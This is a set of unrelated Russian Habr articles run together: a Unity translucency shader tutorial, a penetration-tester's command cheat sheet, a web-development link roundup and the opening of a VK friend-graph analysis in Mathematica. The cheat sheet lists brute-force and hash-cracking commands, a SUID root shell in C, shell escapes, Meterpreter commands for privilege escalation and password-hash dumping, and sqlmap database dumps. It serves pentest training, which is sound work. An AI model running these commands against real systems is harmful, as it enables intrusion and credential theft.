inline fixed4 LightingStandardTranslucent(SurfaceOutputStandard s, fixed3 viewDir, UnityGI gi)
{
// Исходный цвет
fixed4 pbr = LightingStandard(s, viewDir, gi);
// Вычисляем интенсивность обратного освещения (просвечивание света)
float I = ...
pbr.rgb = pbr.rgb + gi.light.color * I;
return pbr;
}
```
**Почему интервал значений pbr не ограничен?**
При сложении двух цветов нужно быть внимательным, чтобы значение не превысило . Это обычно реализуется функцией `saturate`, которая ограничивает каждый из компонентов цвета интервалом от  до .
Если в используемой вами камере используется поддержка **HDR** (**high-dynamic range, расширенного динамического диапазона**), то значения выше  применяются для таких эффектов постобработки, как bloom. В этом шейдере мы не выполняем насыщение (saturate) конечного цвета, потому что фильтр bloom будет применён при окончательном рендеринге.
#### Обратное освещение
В соответствии с уравнениями, описанными в первой части туториала, мы можем написать следующий код:
```
inline fixed4 LightingStandardTranslucent(SurfaceOutputStandard s, fixed3 viewDir, UnityGI gi)
{
// Исходный цвет
fixed4 pbr = LightingStandard(s, viewDir, gi);
// --- Просвечиваемость ---
float3 L = gi.light.dir;
float3 V = viewDir;
float3 N = s.Normal;
float3 H = normalize(L + N * _Distortion);
float I = pow(saturate(dot(V, -H)), _Power) * _Scale;
// Конечное сложение
pbr.rgb = pbr.rgb + gi.light.color * I;
return pbr;
}
```
Вышеприведённый код является прямой реализацией уравнений из первой части статьи. Получаемый эффект просвечиваемости выглядит вполне правдоподобно, но он никак не связан с толщиной материала. Поэтому управлять им очень сложно.
#### Локальная толщина
Очевидно, что количество обратного освещения сильно зависит от плотности и толщины материала. В идеале нам нужно знать расстояние, пройденное светом внутри материала, и соответствующим образом его ослабить. Как видно из рисунка ниже, три разных луча с одинаковым углом падения проходят очень разные расстояния внутри материала.
С точки зрения шейдера, мы не имеем доступа ни к локальной геометрии, ни к истории лучей света. К сожалению, нет никакой возможности решить эту проблему локально. Лучше всего будет использовать внешнюю **карту локальных толщин**. Это текстура, связанная с поверхностью, определяющая «толщину» соответствующей части материала. Понятие «толщины» используется произвольно, потому что настоящая толщина зависит от угла, под которым падает свет.
На схеме выше показано, что нет уникального понятия «толщины», связанной с красной точкой круга. Количество материала, сквозь которое проходит свет, на самом деле зависит от угла падения света . То есть нам нужно помнить, что весь этот подход к реализации просвечиваемости стремится не к физической точности, а к тому, чтобы обмануть глаз игрока. Ниже ([источник](https://colinbarrebrisebois.com/2011/03/07/gdc-2011-approximating-translucency-for-a-fast-cheap-and-convincing-subsurface-scattering-look/)) показана хорошая карта локальных толщин, визуализированная на модели статуи. Оттенки белого соответствуют частям, в которых эффект просвечиваемости будет сильнее, аппроксимируя понятие толщины.
**Как сгенерировать карту локальных толщин?**
Автор этой техники предложил интересный способ автоматического создания карты локальных толщин из любой модели. Для этого нужно выполнить следующие шаги:
1. Вывернуть грани модели
2. Отрендерить в текстуру рассеянное затенение (Ambient Occlusion)
3. Инвертировать цвета текстуры
Логика этого процесса заключается в том, что при рендеринге ambient occlusion на обратных гранях можно приблизительно "*усреднить весь перенос света внутри объекта*".
Вместо текстуры толщину можно хранить непосредственно в вершинах.
#### Окончательная версия
Теперь мы знаем, что нужно учитывать локальную толщину материала. Проще всего для этого создать текстурную карту, которую можно сэмплировать. Хоть это и физически неточно, мы получим убедительные результаты. К тому же локальная толщина кодируется таким образом, что позволяет художникам полностью контролировать эффект.
В этой реализации локальная толщина хранится в красном канале дополнительной текстуры, сэмплируемой в функции **surf**:
```
float thickness;
void surf (Input IN, inout SurfaceOutputStandard o)
{
// Albedo получается из текстуры, подкрашенной цветом
fixed4 c = tex2D (_MainTex, IN.uv_MainTex) * _Color;
o.Albedo = c.rgb;
// Metallic и smoothness берутся из переменных ползунков
o.Metallic = _Metallic;
o.Smoothness = _Glossiness;
o.Alpha = c.a;
thickness = tex2D (_LocalThickness, IN.uv_MainTex).r;
}
```
**Как получилось, что текстура не сэмплируется в функции освещения?**
Я решил хранить это значение в переменной `thickness`, к которой позже получает доступ функция освещения. Лично я стремлюсь делать так всегда, когда мне приходится сэмплировать текстуру, которая позже потребуется функции освещения.
Если вы предпочитаете делать иначе, то можете сэмплировать текстуру непосредственно в функции освещения. В этом случае необходимо передавать UV-координаты (возможно, расширив `SurfaceOutputStandard`) и использовать `tex2Dlod` вместо `tex2D`. Функция получает две дополнительные координаты. В нашем случае можно задать им значение «ноль»:
```
thickness = tex2Dlod (_LocalThickness, fixed4(uv, 0, 0)).r;
```
Колин и Марк предложили немного другое уравнение для вычисления конечной интенсивности обратного освещения. В нём учитываются и толщина, и дополнительный **параметр затухания**. Кроме того, они допустили возможность использования постоянно присутствующего дополнительного **компонента среды**:
```
inline fixed4 LightingStandardTranslucent(SurfaceOutputStandard s, fixed3 viewDir, UnityGI gi)
{
// Исходный цвет
fixed4 pbr = LightingStandard(s, viewDir, gi);
// --- Просвечиваемость ---
float3 L = gi.light.dir;
float3 V = viewDir;
float3 N = s.Normal;
float3 H = normalize(L + N * _Distortion);
float VdotH = pow(saturate(dot(V, -H)), _Power) * _Scale;
float3 I = _Attenuation * (VdotH + _Ambient) * thickness;
// Конечное сложение
pbr.rgb = pbr.rgb + gi.light.color * I;
return pbr;
}
```
Вот каким получается конечный результат:
#### Заключение
Описанный в статье подход основан на решении, представленном на GDC 2011 Колином Баррэ-Бризебуа и Марком Бушаром в докладе [Approximating Translucency for a Fast, Cheap and Convincing Subsurface Scattering Look](https://colinbarrebrisebois.com/2011/03/07/gdc-2011-approximating-translucency-for-a-fast-cheap-and-convincing-subsurface-scattering-look/).
Все необходимые для запуска проекта файлы (шейдер, текстуры, модели, сцены) можно скачать с моей страницы на [**Patreon**](https://www.patreon.com/posts/14122322) *[прим. пер.: за 10 долларов]*.
|
https://habr.com/ru/post/337370/
| null |
ru
| null |
# Разбор кейсов при проведении тестирования на проникновение
В данной статье мы продолжим разбирать базис команд и полезных трюков при проведении тестирования на проникновение.
Справочник пентестера часть 2
-----------------------------
Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.
Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия. [Первая часть справочника.](https://habrahabr.ru/company/pentestit/blog/322834/)
### Поиск эксплойтов для обнаруженных сервисов
Поиск на exploit-db через searchsploit, в данном примере поиск повышения привилегий для windows 2003:
```
searchsploit windows 2003 | grep -i local
```
Использование google для поиска на сайте exploit-db.com:
```
site:exploit-db.com exploit kernel <= 3
```
Ищите подходящие модули метасплоит с помощью grep. Стандартный поиск при помощи search в msf работает хуже:
```
grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*
```
Установите локальную копию базы exploit-db:
```
searchsploit –u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
```
Компиляция эксплойтов для Windows в Kali:
```
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
```
Компиляция для архитекруты x32 и x64:
```
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)
```
### Запуск простого локального веб-сервера
Полезно использовать для доставки эксплойтов и программ на целевую машину. Запуск простого http веб-сервера на Python:
```
python -m SimpleHTTPServer 80
```
Запуск простого веб-сервера на Python3:
```
python3 -m http.server
```
Запуск простого Ruby webrick http сервера:
```
ruby -rwebrick -e "WEBrick::HTTPServer.new (:Port => 80, :DocumentRoot => Dir.pwd).start"
```
Запуск простого PHP http сервера:
```
php -S 0.0.0.0:80
```
### Монтирование файловых ресурсов
Монтирование NFS ресурса в /mnt/nfs:
```
mount 192.168.1.1:/vol/share /mnt/nfs
```
Монтирование Windows CIFS / SMB ресурса на Linux в/mnt/cifs Если вы удалите password то о нем спросят в консоли (более безопасный вариант, т.к. не запишется в bash.history):
```
mount -t cifs -o username=user,password=pass,domain=bla //192.168.1.X/share-name /mnt/cifs
```
Монтирование Windows ресурса на Windows из командной строки:
```
net use Z: \\win-server\share password /user:domain\johndoe /savecred /p:no
```
Установка smb4k на Kali, полезный Linux GUI для просмотра SMB ресурсов:
```
apt-get install smb4k -y
```
### Исследование HTTP / HTTPS Веб-серверов
Выполнить nikto сканирование:
```
nikto -h 192.168.1.1
```
Конфигурируется через GUI, CLI ввод обычно не работает:
```
dirbuster
```
Простой брутфорсер директорий:
```
dirb http://example.org
```
Продвинутый брутфорсер директорий и файлов. Поиск файлов с расширением php и js по старнадртному словарю:
```
dirsearch.py --random-agents -u example.org -e php,js
```
### Анализ сетевых пакетов
tcpdump для порта 80 на интерфейсе eth0, вывод в output.pcap:
```
tcpdump tcp port 80 -w output.pcap -i eth0
```
### Обнаружение учетных данных
Несколько техник, позволяющих узнать учетные данных от удаленных сервисов.
#### SMB
Сбор пользователей SMB:
```
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX
```
RID cycle SMB / сбор пользователей SMB
```
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
```
#### SNMP
Сбор пользователей SNMP:
```
snmpwalk public -v1 192.168.X.XXX 1 |grep 11.11.11.11 |cut -d” “ -f4
python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
```
### Брутфорс сетевых сервисов
Hydra FTP брутфорс
```
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V
```
Hydra POP3 брутфорс
```
hydra -L users.txt -P /usr/share/wordlistsnmap.lst 192.168.X.XXX pop3 -V
```
Hydra SMTP брутфорс
```
hydra -l [email protected] -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V
```
### Брутфорс паролей John The Ripper
Взлом хэша со словарем
```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```
MD5 взлом со словарем
```
john --format=MD5 --wordlist /usr/share/wordlists/rockyou.txt hash.txt
```
DES брутфорс
```
john --format=DES hash --show
```
### SUID
Часто бывает так, что уязвимый исполняемый файл имеет SUID бит, но внутри самой программы эффективный UID меняется на непривилегированный перед уязвимым вызовом, а нам нужно получить шелл с правами суперпользователя. Для восстановления прав root и получения шелла можно воспользоваться кодом ниже.
SUID Си шелл для /bin/bash:
```
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
```
SUID Си шелл для /bin/sh:
```
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
```
Компиляция SUID Шелл исполняемого файла:
```
gcc -o suid suid.c
```
Для 32 бит:
```
gcc -m32 -o suid suid.c
```
### TTY шеллы
Примеры создания TTY шеллов из ограниченного шелла в Linux, полезно для запуска команд вроде su из реверс шелла. Python TTY шелл:
```
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
```
Получение интерактивного sh шелла:
```
/bin/sh -i
```
Получение Perl TTY шелла:
```
exec "/bin/sh";
perl -e 'exec "/bin/sh";'
```
Получение Ruby TTY шелла:
```
exec "/bin/sh"
```
Получение Lua TTY шелла:
```
os.execute('/bin/sh')
```
Получение TTY шелла из Vi:
```
:!bash
```
Получение TTY шелла через NMAP (старые версии)
```
nmap --interactive
!sh
```
### Metasploit/Meterpreter
Windows reverse meterpreter payload с обратным подключением:
```
set payload windows/meterpreter/reverse_tcp
```
Windows VNC Meterpreter payload
```
set payload windows/vncinject/reverse_tcp
set ViewOnly false
```
Linux Reverse Meterpreter payload с обратным подключением
```
set payload linux/meterpreter/reverse_tcp
```
#### Meterpreter Справочник
Загрузить файл на windows машину через Meterpreter:
```
upload file c:\\windows
```
Выгрузить файл с целевой Windows машины через Meterpreter:
```
download c:\\windows\\repair\\sam /tmp
```
Выполнить exe файл через Meterpreter — Идеально для выполнения загруженных эксплойтов:
```
execute -f c:\\windows\temp\exploit.exe
```
Создание нового канала с cmd шеллом:
```
execute -f cmd -c
```
Meterpreter покажет процессы:
```
ps
```
Meterpreter получит шелл для текущей сессии:
```
shell
```
Meterpreter попытается повысить привилегии в системе:
```
getsystem
```
Meterpreter попытается получить хэши пользователей ОС:
```
hashdump
```
Meterpreter создает перенаправление порта через целевую машину (pivoting):
```
portfwd add –l 3389 –p 3389 –r target_host
```
Meterpreter удаляет перенаправление порта (pivoting):
```
portfwd delete –l 3389 –p 3389 –r target_host
```
### SQLMap примеры
Автоматический режим:
```
sqlmap -u http://site --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3
```
Целевое сканирование:
```
Sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/bla.php"
```
Просканировать url на union + error based инъекции для mysql и использовать случайный user agent + получить dump базы данных:
```
sqlmap -u "http://site/bla.php?id=1" --dbms=mysql --tech=U --random-agent --dump
```
Sqlmap проверка формы на инъекцию:
```
sqlmap -o -u "http://site/form/" --forms
```
Sqlmap дамп базы и взлом хэшей для таблицы users базы database-name:
```
sqlmap -o -u "http://site/vuln-form" --forms -D database-name -T users --dump
```
### Определение типа хешей
Удобнее всего использовать утилиту hash-identifier, но для наглядности представлю несколько типов хешей визуально:
MD5 Hash:
```
8743b52063cd84097a65d1633f5c74f5
```
MD5 $PASS:$SALT:
```
01dfae6e5d4d90d9892622325959afbe:7050461
```
MD5 $SALT:$PASS:
```
f0fda58630310a6dd91a7d8f0a4ceda2:4225637426
```
SHA1 Hash:
```
b89eaac7e61417341b710b727768294d0e6a277b
```
SHA1 $PASS:$SALT:
```
2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
```
SHA1 $SALT:$PASS:
```
cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
```
SHA-256:
```
127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
```
SHA-256 $PASS:$SALT:
```
c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4
```
SHA-256 $SALT:$PASS:
```
eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617
```
SHA-512:
```
82a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f
```
SHA-512 $PASS:$SALT:
```
e5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd
```
SHA-512 $SALT:$PASS:
```
976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a
```
NTLM:
```
b4b9b02e6f09a9bd760f388b67351e2b
```
Заключение
----------
Чтобы успешно противостоять злоумышленникам, необходимо хорошо знать методику и инструменты работы, что крайне сложно, учитывая их стремительное развитие. Программа курса обновляется каждый набор, что позволяет давать актуальные и востребованные знания и практические навыки в области информационной безопасности.
|
https://habr.com/ru/post/325602/
| null |
ru
| null |
# Несколько интересностей и полезностей для веб-разработчика #19
Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.
#### [DC.js](https://github.com/dc-js/dc.js)
[](https://github.com/dc-js/dc.js)
Библиотека позволяет создавать великолепные многоуровневые/масштабируемые кроссплатформенные графики и диаграммы с моментальным перерендерингом при пользовательском взаимодействии. За процесс визуализации отвечает знаменитая d3.js, а за анализ многомерных наборов данных [crossfilter.js](https://github.com/square/crossfilter). Кстати кроссфильтр — проект небезызвестной компании Square.
```
chart.renderlet(function(chart){
// smooth the rendering through event throttling
dc.events.trigger(function(){
// focus some other chart to the range selected by user on this chart
someOtherChart.focus(chart.filter());
});
})
```
#### [Odyssey](http://cartodb.github.io/odyssey.js/)
[](http://cartodb.github.io/odyssey.js/)
Очень интересный проект от команды CartoDB. Скрипт позволяет создавать интерактивные истории с привязкой к определенным локациям. Все оформляется с помощью Markdown. Словами очень трудно описать, что делает Одиссея, поэтому лучше увидеть [живой пример](http://cartodb.github.io/odyssey.js/editor/editor.html#md/slides/YGBgCi10aXRsZTogIk9keXNzZXkgZXhhbXBsZSBGVFciCi1hdXRob3I6ICJDYXJ0b0RCIgpgYGAKCiNZb3VyIGZpcnN0IG9keXNzZXkuanMgc3RvcnkKYGBgCi0gY2VudGVyOiBbMzcuNzYyMCwgLTEyMi40Mzg1XQotIHpvb206IDkKTC5tYXJrZXIoWzM3Ljc2MjAsIC0xMjIuNDM4NV0pLmFjdGlvbnMuYWRkUmVtb3ZlKFMubWFwKQpgYGAKCk1vdmUgdGhlIG1hcCBhcm91bmQgYW5kIHNhdmUgdGhlIHBvc2l0aW9uIGJ5IGNsaWNraW5nIG9uICJBREQgPiBNb3ZlIG1hcCB0byB0aGUgY3VycmVudCBwb3NpdGlvbiIuIEFzIHlvdSBjYW4gc2VlLCBub3cgd2UgYXJlIGhpZ2hsaWdodGluZyBTYW4gRnJhbmNpc2NvLgoKVGhlbiBhZGQgaGVyZSB0aGUgZGVzY3JpcHRpb24gZm9yIHlvdXIgc2xpZGUgc28gaXQncyBzaG93biBvbiB0aGUgbGVmdCBzaWRlIGJveC4KCgojSG93IHRvIGFkZCBtb3JlIHN0YXRlcwpgYGAKLSBjZW50ZXI6IFs0MC43MzQ4LCAtNzMuOTk3MF0KLSB6b29tOiA5CkwubWFya2VyKFs0MC43MzQ4LCAtNzMuOTk3MF0pLmFjdGlvbnMuYWRkUmVtb3ZlKFMubWFwKQpgYGAKCkJ5IGFkZGluZyBuZXcgW01hcmtkb3duXSAoaHR0cDovL2RhcmluZ2ZpcmViYWxsLm5ldC9wcm9qZWN0cy9tYXJrZG93bi9dKSBoMSBlbGVtZW50cyAoIykgeW91IGFkZCBuZXcgc3RhdGVzIHRvIHlvdXIgc3RvcnkuCgoKI0FkZGluZyBpbWFnZXMgdG8geW91ciBzdG9yeQpgYGAKLSBjZW50ZXI6IFs0MC43MzY1LCAtNzMuOTk4Ml0KLSB6b29tOiAxMwpgYGAKCkJ5IGRlZmF1bHQsIGltYWdlcyBhcmUgYWxzbyBzdXBwb3J0ZWQuIAoKIVtOZXcgWW9ya10oaHR0cDovL3d3dy5ib3N0b24tZGlzY292ZXJ5LWd1aWRlLmNvbS9pbWFnZS1maWxlcy9uZXcteW9yay0xLmpwZykKCiNFeHBvcnRpbmcgeW91ciBzdG9yeQpgYGAKLSBjZW50ZXI6IFs0MC40NDY5LCAtMjguNTY0NV0KLSB6b29tOiAzCmBgYAoKWW91IGhhdmUgZGlmZmVyZW50IG9wdGlvbnMgZm9yIGV4cG9ydGluZyB5b3VyIG9keXNzZXkuanMgdmlzdWFsaXphdGlvbi4gWW91IGNhbiBlaXRoZXIgZW1iZWQgdGhpcyB1c2luZyBhbiBpZnJhbWUsIHB1Ymxpc2hpbmcgd2l0aCBhIGNsaWNrIG9uIGJsLm9ja3Mgb3IganVzdCBzaGFyZSB0aGUgVVJMIG9mIHRoaXMgdmlzdWFsaXphdGlvbi4KCklmIHlvdSB3YW50IHRvIGN1c3RvbWl6ZSBpdCBmdXJ0aGVyLCB5b3UgY2FuIGRvd25sb2FkIHRoZSBnZW5lcmF0ZWQgc291cmNlIGNvZGUgYnkgY2xpY2tpbmcgb24gdGhlIGJ1dHRvbiBiZWxvdy4KCiNBZHZhbmNlZCB1c2VycwoKQ2hlY2sgb3V0IG91ciBbZG9jdW1lbnRhdGlvbl0oaHR0cDovL2RvY3MudXJsKSB0byBsZWFybiBob3cgdG8gdXNlIG9keXNzZXkgdG8gY3JlYXRlIG1vcmUgY3VzdG9tIHRoaW5ncy4gSXQncyBjcmF6eSB0aGUgYW1vdW50IG9mIGNvb2wgdGhpbmdzIHRoYXQgY2FuIGJlIGRvbmUgd2l0aCB0aGUgbGlicmFyeS4KCkFsc28gaWYgeW91IGFyZSBhIGRldmVsb3BlciwgdGFrZSBhIGxvb2sgYXQgb3VyIGNvbnRyaWJ1dGluZyBndWlkZWxpbmUgc28geW91IGNhbiBwdXNoIGNvZGUgdG8gdGhlIGFjdHVhbCBsaWJyYXJ5LgoKQ2hlZXJzIQo=).
#### [Web Starter Kit](https://developers.google.com/web/starter-kit/)
[](https://developers.google.com/web/starter-kit/)
Web Starter Kit от Google — это такой большой конструктор/шаблон для кроссплатформенной веб разработки. В него заложены лучшие практики из [Web Fundamentals](https://developers.google.com/web/fundamentals/) и советы [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/?hl=ru). В общем там много все полезного, в том числе уже и «собранный» сборщик Gulp. За двое суток проект успел собрать почти 2500 звезд на GitHub.
#### [Ouibounce](https://github.com/carlsednaoui/ouibounce)
[](https://github.com/carlsednaoui/ouibounce)
Очень интересный скрипт с точки зрения UX. Я помню относительно недавно на Хабре в разделе «Я пиарюсь» был пост про стартап, который позволяет удерживать покупателей в интернет магазине. К примеру, потенциальный клиент достаточно долго изучал товар, но в конечном итоге его курсор направляется к закрытию вкладки. Сервис определяет этот момент и запускает попап с предложением о скидке. Ouibounce, конечно же, значительно проще, но ведь силы opensource сообщества безграничны… ~~смайл~~
#### [Storage.js](https://github.com/ask11/storage)
Cвоеобразная обертка для [localForage](https://github.com/mozilla/localForage) от Mozilla. Storage — это асинхронное браузерное хранилище с IndexedDB, WebSQL, localStorage, созданное для «better offline experience».
```
window.storage('key', fn);
```
```
// set
storage({ key: 'val', key2: 'val2'}, function(err) {});
// get
storage('key', function(err, val) {});
storage(['key', 'key2'], function(err, all) {}); // all.length == 2
// count
storage(function(err, count) {}); // count == 2
// delete
storage('key', null, function(err) {});
storage(['key', 'key2'], null, function(err) {});
```
#### [Outdated browser](https://github.com/burocratik/outdated-browser)
[](https://github.com/burocratik/outdated-browser)
Самый изящный способ сообщить пользователю о том, что его браузер устарел. Вообще этот проект нужно расценивать как призыв веб-разработчиков мотивировать своих пользователей обновить браузер, дабы все нам проще жилось в будущем.
```
###### Your browser is out-of-date!
Update your browser to view this website correctly. [Update my browser now](http://outdatedbrowser.com/)
[×](# "Close")
```
```
function addLoadEvent(func) {
var oldonload = window.onload;
if (typeof window.onload != 'function') {
window.onload = func;
} else {
window.onload = function() {
oldonload();
func();
}
}
}
//call plugin function after DOM ready
addLoadEvent(
outdatedBrowser({
bgColor: '#f25648',
color: '#ffffff',
lowerThan: 'transform'
})
);
```
#### [Spin.js](http://fgnass.github.io/spin.js/)
[](http://fgnass.github.io/spin.js/)
#### Западные мысли или что стоило бы перевести на Хабре:
* [A Hacker’s Guide to Git](http://wildlyinaccurate.com/a-hackers-guide-to-git)
* [Everything You Need to Know About the CSS will-change Property](http://dev.opera.com/articles/css-will-change-property/)
* [Getting to know CSS Blend Modes](http://dev.opera.com/articles/getting-to-know-css-blend-modes/)
* [Inside the Guardian’s CMS: meet Scribe, an extensible rich text editor](http://www.theguardian.com/info/developer-blog/2014/mar/20/inside-the-guardians-cms-meet-scribe-an-extensible-rich-text-editor)
* [Scoop: A Glimpse Into the NYTimes CMS](http://open.blogs.nytimes.com/2014/06/17/scoop-a-glimpse-into-the-nytimes-cms/)
* [Implement Custom Gestures](https://developers.google.com/web/fundamentals/input/touch/touchevents/)
* [What's Your Favorite Hack?](https://litmus.com/community/discussions/84-what-s-your-favorite-hack)
* [Building a responsive SVG map](http://responsivenews.co.uk/post/87988072178/building-a-responsive-svg-map)
* [Sharing Data Between Sass and JavaScript with JSON](http://viget.com/extend/sharing-data-between-sass-and-javascript-with-json)
* [UX Crash Course User Psychology](http://thehipperelement.com/post/87574750438/ux-crash-course-user-psychology)
* [Brand = User Experience: The Interface Of A Cheeseburger](http://www.smashingmagazine.com/2009/10/24/brand-user-experience-the-interface-of-a-cheeseburger/)
#### Напоследок:
* Платформа для любителей анимэ
[](https://github.com/hummingbird-me/hummingbird)
* [lazy-ads](https://github.com/madgex/lazy-ads) — очень полезный скрипт для «ленивой подгрузки» всех ваших баннеров.
* [loadCSS](https://github.com/filamentgroup/loadCSS/) — а это решение для динамичной загрузки CSS от известной Filament Group.
* [Octicons](https://github.com/github/octicons) — иконочный шрифт от команды GitHub.
* [Videogrep](https://github.com/antiboredom/videogrep) — поиск по видео на Python.
* [webkit.js](https://github.com/trevorlinton/webkit.js) — полноценный JavaScript порт WebKit.
* [mdwiki](https://github.com/Dynalon/mdwiki) — JavaScript CMS/Wiki на Markdown.
* [HTTPie](https://github.com/jakubroztocil/httpie) — command line HTTP client.
* [MotorCortex.js](http://motorcortexjs.com/) — еще одна (уже была AniJS) библиотека для декларативного описания CSS анимаций.
* [TraceIt](https://github.com/yunap/traceit) — jQuery плагин, который решает только одну неординарную задачу — скевоморфичная обводка элементов.
* [MapBuildr](http://mapbuildr.com/) — функциональный интрумент для создания Google Map, еще бы такую штуку для Яндекс.Карт.
* [Penthouse](https://github.com/pocketjoso/penthouse) — Critical Path CSS Generator, где critical path есть самый необходимый CSS. Подробнее об этом в статье [CSS and the critical path](http://www.phpied.com/css-and-the-critical-path/). Идеи о производительности/оптимизации фронта пробираются все глубже.
* [es6features](https://github.com/lukehoban/es6features) — репозиторий, в котором описываются все фичи ECMAScript 6.
* [Релиз Dojo 1.10](http://dojotoolkit.org/blog/dojo-turns-1-10)
* [Релиз Sencha Ext JS 5](http://habrahabr.ru/post/225169/)
* [JSNice](http://jsnice.org/) — умный и обучаемы деобфускатор для JavaScript, который выполняя свою задачу, ищет соответствия в opensource проектах и пытается восстановить оригинальные названия переменных.
[](http://jsnice.org/)
[**Предыдущая подборка (Выпуск 18)**](http://habrahabr.ru/post/224751/)
Приношу извинения за возможные опечатки. Если вы заметили проблему — напишите, пожалуйста, в личку.
Спасибо всем за внимание.
|
https://habr.com/ru/post/227069/
| null |
ru
| null |
# Анализ дружеских связей VK с помощью Wolfram Mathematica
 Не так давно, в Москве прошел семинар Wolfram Research [Эра технологий Wolfram](http://seminars.softline.ru/event/8052/detail), на котором рассказывали много интересного про одну из самых мощных и определенно самую удобную систему компьютерных исследований Wolfram *Mathematica*. В частности, были представлены результаты исследования данных социальной сети facebook научно-исследовательской группой «Конструктивная Кибернетика». А чуть ранее, я наткнулся на новые возможности Wolfram|Alpha по всестороннему [анализу странички в facebook](http://www.wolframalpha.com/facebook/). И после всего этого, у меня засела в голове безумная идея: *«Я хочу узреть граф дружеских связей той соцсети, в которой живу (а именно, ВКонтакте)»*. И я все-таки нашел время на то чтобы ее реализовать. Добро пожаловать под кат.
Взаимодействие с VK API начинается с создания Standalone-приложения на <https://vk.com/dev> (там же можно будет редактировать уже созданное приложение). После нескольких кликов и долгих раздумий над названием, система выдает *ID приложения*, который будет использоваться для получения *Access Token*.
Чтобы получить *Access Token*, необходимо проследовать по ссылке ниже, заменив решеточки на *ID приложения*. О том, как формируется строчка, можно почитать [тут](https://vk.com/dev/auth_mobile).
`https://oauth.vk.com/authorize?client_id=######&scope=friends&redirect_uri=https://oauth.vk.com/blank.html&display=page&v=5.16&response_type=token`
После этого, в строке адреса появится много полезной информации, в частности, **access\_token** и **user\_id**. Эти два значения необходимо сохранить. Я назвал переменные **myID**(Integer||String) и **token**(String).
Следующим этапом будет написание базовой функции, взаимодействующей с API. Стандартный формат ответа от VK API — это *JSON*, который без труда парсится в списки и правила внутренними средствами *Mathematica*.
[Список методов](https://vk.com/dev/methods), которые теперь доступны ограничен только значением параметра **scope**, которое было передано при формировании *Access Token*. Чтобы проверить работоспособность системы, можно узнать, как вас зовут
Вывод VK API содержит много лишнего, поэтому, чтобы выделить только полезные данные, необходимо сначала отсечь лишнее
А, потом, применить правила замены (а это список правил замены) к тем параметрам, которые интересны. Остальные правила автоматически игнорируются.
Таким образом, можно написать модуль, который получает имя пользователя и (при желании) его фотографию
Обратите внимание, что параметр для API называется **user\_ids**, а не **user\_id**. Это позволит получить информацию о целом списке пользователей за один запрос (ID должны разделяться запятыми и их должно быть меньше 1000).
Теперь нужно найти пользователей, о которых интересно что-нибудь узнать. Получим список друзей. Вообще, вся функция выглядит следующим образом
Но в силу моего стремления к идеализму и желания хоть чуть-чуть приблизиться по продуманности к встроенным функциям *Mathematica*, у меня **VKFriends** вырос вот в это
Однако, для построения графа будет использоваться именно "`Clean`" версия. Тут интересно следующее — если параметр **fields** убрать, то ответом от API будет являться список ID и больше ничего. А если **fields** хоть чему-то, да равен, в ответ автоматически включается имя пользователя. Поэтому, для версии без аватарок, применяется значение **fields=sex** просто потому что sex — красивое слово. Практически, правило замены для пола в конечном варианте не реализуется. Хотя всегда можно добавить поля, которые вам интересно исследовать у своих друзей и строить из них красивые гистограммы, но тогда код вырастет еще во много раз и его структуру нужно будет менять (если, конечно, стремиться к массовости).
Последняя функция, которая нужна от API для сбора данных — это общие друзья. С их помощью, можно будет исследовать связи только внутри вашего круга общения, не получая и не обрабатывая мегабайты лишней информации о том кого знают ваши друзья из тех, кого вы **не** знаете. Для приведения синтаксиса и возможностей в соответствие с **VKFriends**, пришлось немного попотеть. Дело в том, что **friends.getMutual** умеет возвращать только чистый список ID, а это не наглядно (если вдруг кому-то понадобится наглядность)
Всё! На этом интеграция с VK API для данной задачи окончена (и так намного больше чем необходимо сделали). Пора брать ~~быка за рога~~ списки за хвосты. Поехали!
Получаем список друзей, описываем связи. Все они связаны только с Вами. Скорость исполнения — мгновение ока.
